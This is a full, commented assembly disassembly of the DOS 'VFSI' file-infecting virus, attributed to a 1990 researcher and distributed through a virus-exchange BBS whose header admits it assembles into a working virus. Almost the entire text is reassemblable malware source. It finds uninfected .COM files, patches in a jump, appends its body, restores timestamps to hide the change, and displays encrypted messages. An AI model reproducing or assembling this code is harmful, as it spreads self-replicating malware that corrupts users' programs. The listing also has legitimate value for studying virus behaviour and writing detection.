;****************************************************************************; ; ; ; -=][][][][][][][][][][][][][][][=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] [=- ; ; -=] For All Your H/P/A/V Files [=- ; ; -=] SysOp: Peter Venkman [=- ; ; -=] [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=][][][][][][][][][][][][][][][=- ; ; ; ; *** NOT FOR GENERAL DISTRIBUTION *** ; ; ; ; This File is for the Purpose of Virus Study Only! It Should not be Passed ; ; Around Among the General Public. It Will be Very Useful for Learning how ; ; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; ; Experience can Turn it Into a far More Malevolent Program Than it Already ; ; Is. Keep This Code in Responsible Hands! ; ; ; ;****************************************************************************; page ,132 name VFSI title The 'VFSI' virus .radix 16 ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 º ; º Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 º ; º º ; º The 'VFSI' Virus º ; º Disassembled by Vesselin Bontchev, September 1990 º ; º º ; º Copyright (c) Vesselin Bontchev 1989, 1990 º ; º º ; º This listing is only to be made available to virus researchers º ; º or software writers on a need-to-know basis. º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; The disassembly has been tested by re-assembly using MASM 5.0. code segment assume cs:code, ds:code org 100 msg_len equ msg_2-msg_1 ; Length of each of the two messages start: jmp v_entry ; Jump to the virus body nop ; The rest of the infected program mov ax,4C00 ; Just terminate int 21 ; 1-15 bytes of garbage (in order to align ; the virus code to a paragraph boundary): db 7 dup (0) v_entry: mov ax,word ptr ds:[start+1] add ax,offset start ; Compute the virus start address mov cl,4 ; Convert it to a segment address shr ax,cl mov cx,ds add ax,cx inc ax mov ds,ax ; Put this segment address in DS jmp v_start ; Jump to the true virus code first3 db 0EBh, 2, 90 ; The original first 3 bytes fmask db '*.COM', 0 ; Files to search for jmp_op db 0E9 ; A JMP to the virus body is formed here jmp_adr dw 0Dh ; First of the two encrypted messages. It says: ; 'HELLO!!! HAPPY DAY and SUCCESS' msg_1 db 2Ah, 28h, 30h, 31h, 35h, 08h db 09h, 0Ah, 0Ah, 33h, 2Dh, 3Dh db 3Eh, 48h, 10h, 35h, 33h, 4Ch db 14h, 56h, 64h, 5Bh, 18h, 4Ch db 4Fh, 3Eh, 3Fh, 42h, 51h, 52h ; Second encrypted message. It says: ; ' from virus 1.1 VFSI-Svistov ' msg_2 db 02h, 03h, 4Ah, 57h, 55h, 54h db 08h, 5Fh, 53h, 5Dh, 61h, 60h db 0Eh, 20h, 1Eh, 22h, 12h, 49h db 3Ah, 48h, 3Fh, 24h, 4Bh, 6Fh db 63h, 6Eh, 70h, 6Ch, 74h, 1Fh grb_len db 7 ; Length of the garbage added to the file v_start: push ds ; Save DS mov ax,ds:[first3-v_entry] ; Restore the original first 3 mov word ptr cs:[offset start],ax ; bytes of the infected file mov al,ds:[first3+2-v_entry] mov byte ptr cs:[offset start+2],al mov ax,1A00 ; Set new DTA lea dx,cs:[dta-v_entry] int 21 ; Do it mov ax,4E00 ; Find first .COM file in the current directory lea dx,cs:[fmask-v_entry] ; File mask to search for mov cx,00100010b ; Archive, Hidden and Normal files int 21 ; Do it srch_lp: jnc cont ; If found, continue jmp close ; Otherwize exit cont: mov ax,3D02 ; Open the file for both reading and writing lea dx,cs:[fname-v_entry] int 21 ; Do it mov bx,ax ; Save file handle in BX mov ax,4202 ; Lseek to the end of file xor cx,cx xor dx,dx int 21 ; Do it mov word ptr ds:[fsize-v_entry],ax ; Save file size sub ax,2 ; Lseek two bytes before the file end mov dx,ax mov ax,4200 int 21 ; Do it mov ax,3F00 ; Read the last two bytes of the file lea dx,cs:[last2-v_entry] ; Put them there mov cx,2 ; (these bytes should contain int 21 ; the virus signature) mov cx,ds:[last2-v_entry] ; Get these bytes cmp cx,ds:[sign-v_entry] ; Compare them with the virus signature ; If they are not equal, then the file is still not infected. Go infect it: jne infect mov ax,3E00 ; If file infected, close it int 21 ; Do close mov ax,4F00 ; Find the next .COM file lea dx,cs:[dta-v_entry] int 21 ; Do it jmp srch_lp ; Loop until a non-infected file is found ; A non-infected file is found. Infect it: infect: mov ax,5700 ; Get file's date & time int 21 ; Do it push cx ; Save time & date on stack push dx mov ax,4200 ; Lseek to the file beginning xor dx,dx xor cx,cx int 21 ; Do it mov ax,3F00 ; Read the original first 3 bytes of the file mov cx,3 lea dx,cs:[first3-v_entry] ; Save them in the virus body int 21 ; Do it mov ax,4200 ; Lseek to the beginning of the file again xor dx,dx xor cx,cx int 21 ; Do it ; Align file size to the next multiple of 16: mov ax,ds:[fsize-v_entry] and ax,1111b push ax ; Save AX xor ax,1111b inc ax ; Save the number of garbage bytes added in grb_len: mov byte ptr ds:[grb_len-v_entry],al add ax,ds:[fsize-v_entry] ; Form a Near JMP to the virus code sub ax,3 mov word ptr ds:[jmp_adr-v_entry],ax ; Form the operand mov ax,4000 ; Write this JMP in the first 3 bytes of file lea dx,cs:[jmp_op-v_entry] mov cx,3 int 21 ; Do it mov ax,4202 ; Lseek to the end of file mov dx,0 xor cx,cx int 21 ; Do it lea cx,cs:[v_end-v_entry-1] ; Virus size pop ax ; Restore AX (new file size) mov dx,ax xor ax,1111b add ax,2 add cx,ax ; Number of bytes to write mov ax,ds ; DS := DS - 1 dec ax mov ds,ax mov ax,4000 ; Write the virus body after the end of file int 21 ; Do it pop dx ; Restore file's date & time pop cx mov ax,5701 int 21 ; Do it close: mov ax,3E00 ; Close the file int 21 pop ds ; Restore DS mov ah,2C ; Get current time int 21 ; If the hundreds of seconds are > 20, quit. ; This means that the messages are displayed ; with a probability of about 1/5: cmp dl,20d ; Hundreds of seconds > 20? jg quit ; Exit if so ; Print the messages: mov ax,0E07 ; Beep (teletype write of ASCII 7) int 10 ; Do it mov ax,0F00 ; Get video mode int 10 ; Do it push ax ; Save mode on the stack xor ax,ax ; Set video mode to 40x25 text int 10 ; Do it mov cx,msg_len ; Put message length in CX mov dx,0A06 ; Goto row 10, column 6 mov bl,0E ; Screen attribute: dark yellow on black lea bp,cs:[msg_1-v_entry] ; Point to the first message prt_msg: mov ah,2 ; Go to the next display position int 10 ; Do it mov si,msg_len ; Get an ecrypted character from the message sub si,cx mov al,ds:[bp+si] add al,msg_len ; These two instruction are needless sub al,msg_len add al,cl ; Decrypt the character mov ah,9 ; Write the character with the int 10 ; selected attribute inc dl ; Go to the next screen position loop prt_msg ; Loop until done cmp dh,10d ; Was this row 10? jne msg_done ; If not, message printed; exit mov cx,msg_len ; Otherwise get the length of the next message mov bl,8C ; Screen attribute: blinking bright red on black mov dx,0C06 ; Go to row 12, column 6 lea bp,cs:[msg_2-v_entry] ; Point to the second message jmp prt_msg ; And go print it msg_done: xor cx,cx ; CX := 0 delay: imul cx ; Cause a delay imul cx loop delay ; Loop until done pop ax ; Restore video mode from the stack xor ah,ah int 10 ; Set it as it was originally quit: push cs ; DS := CS pop ds mov ax,1A00 ; Restore old DTA mov dx,81 int 21 ; Do it mov si,offset start ; Jump to address CS:100h jmp si ; Do it sign db 0F1, 0C8 ; Virus signature v_end equ $ fsize equ $ ; Word. File size is saved here last2 equ $+2 ; Word. Buffer for reading the virus signature dta equ $+4 ; Disk Transfer Area fname equ dta+1E ; File name found code ends end start